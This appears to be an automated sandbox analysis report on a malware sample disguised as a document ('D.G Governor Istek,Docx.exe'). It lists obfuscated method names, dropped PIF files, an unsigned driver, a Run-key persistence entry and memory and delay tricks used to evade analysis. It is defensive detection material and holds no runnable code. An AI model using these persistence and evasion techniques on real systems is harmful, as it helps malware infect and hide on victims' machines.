Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: 0_2_029D68CE push 029D697Bh; ret	0_2_029D6973
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: 0_2_029DA91F push 029DA958h; ret	0_2_029DA950
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: 0_2_029D8918 push 029D8950h; ret	0_2_029D8948
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: 0_2_029D8916 push 029D8950h; ret	0_2_029D8948
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: 0_2_029DA920 push 029DA958h; ret	0_2_029DA950
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: 0_2_029D2EE8 push 029D2F5Eh; ret	0_2_029D2F56
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: 0_2_029D5E04 push ecx; mov dword ptr [esp], edx	0_2_029D5E06
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: 0_2_029D2FF4 push 029D3041h; ret	0_2_029D3039
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: 0_2_029D2FF3 push 029D3041h; ret	0_2_029D3039
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_0041C40C push cs; iretd	4_2_0041C4E2
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_00423149 push eax; ret	4_2_00423179
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_0041C50E push cs; iretd	4_2_0041C4E2
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_004231C8 push eax; ret	4_2_00423179

Source: 4.2.xzeheenC.pif.1d270f08.3.raw.unpack, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'B2O7fKYFnJNBC', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 4.2.xzeheenC.pif.1f670000.8.raw.unpack, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'B2O7fKYFnJNBC', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 4.2.xzeheenC.pif.1ce5c896.2.raw.unpack, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'B2O7fKYFnJNBC', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 4.2.xzeheenC.pif.1e2f6478.7.raw.unpack, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'B2O7fKYFnJNBC', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 4.2.xzeheenC.pif.1e32e790.6.raw.unpack, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'B2O7fKYFnJNBC', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 9.2.xzeheenC.pif.3558e790.3.raw.unpack, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'B2O7fKYFnJNBC', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	File created: C:\Users\Public\Libraries\xzeheenC.pif			Jump to dropped file
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	File created: C:\Users\Public\Libraries\Cneehezx.PIF			Jump to dropped file

Sample is not signed and drops a device driver

Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	File created: C:\Windows \SysWOW64\truesight.sys	Jump to behavior
Source: C:\Users\Public\Libraries\Cneehezx.PIF	File created: C:\Windows \SysWOW64\truesight.sys	Jump to behavior
Source: C:\Users\Public\Libraries\Cneehezx.PIF	File created: C:\Windows \SysWOW64\truesight.sys

Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	File created: C:\Users\Public\Libraries\xzeheenC.pif			Jump to dropped file
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	File created: C:\Users\Public\Libraries\Cneehezx.PIF			Jump to dropped file

Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Cneehezx			Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Cneehezx			Jump to behavior

Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe

Code function: 0_2_029DA95C GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_029DA95C

Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xzeheenC.pif	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Allocates many large memory junks

Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Memory allocated: 29C0000 memory commit 500006912	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Memory allocated: 29C1000 memory commit 500178944	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Memory allocated: 29EC000 memory commit 500002816	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Memory allocated: 29ED000 memory commit 500199424	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Memory allocated: 2A1E000 memory commit 501014528	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Memory allocated: 2B16000 memory commit 500006912	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Memory allocated: 2B18000 memory commit 500015104	Jump to behavior
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Memory allocated: 2940000 memory commit 500006912	Jump to behavior
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Memory allocated: 2941000 memory commit 500178944	Jump to behavior
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Memory allocated: 296C000 memory commit 500002816	Jump to behavior
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Memory allocated: 296D000 memory commit 500199424	Jump to behavior
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Memory allocated: 299E000 memory commit 501014528	Jump to behavior
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Memory allocated: 2A96000 memory commit 500006912	Jump to behavior
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Memory allocated: 2A98000 memory commit 500015104	Jump to behavior
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Memory allocated: 2AD0000 memory commit 500006912
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Memory allocated: 2AD1000 memory commit 500178944
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Memory allocated: 2AFC000 memory commit 500002816
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Memory allocated: 2AFD000 memory commit 500199424
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Memory allocated: 2B2E000 memory commit 501014528
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Memory allocated: 2C26000 memory commit 500006912
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Memory allocated: 2C28000 memory commit 500015104

Source: C:\Users\Public\Libraries\xzeheenC.pif	Memory allocated: 1CDB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Memory allocated: 1D2F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Memory allocated: 1D070000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Memory allocated: 340F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Memory allocated: 34550000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Memory allocated: 341B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Memory allocated: 307E0000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\xzeheenC.pif	Memory allocated: 30D70000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\xzeheenC.pif	Memory allocated: 30AD0000 memory reserve \| memory write watch

Source: C:\Users\Public\Libraries\xzeheenC.pif

4_2_004019F0

Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 599094	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598985	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598870	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598750	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598641	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598516	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598406	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598297	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598188	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 598063	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597938	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597813	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Thread delayed: delay time: 597703	Jump to behavior
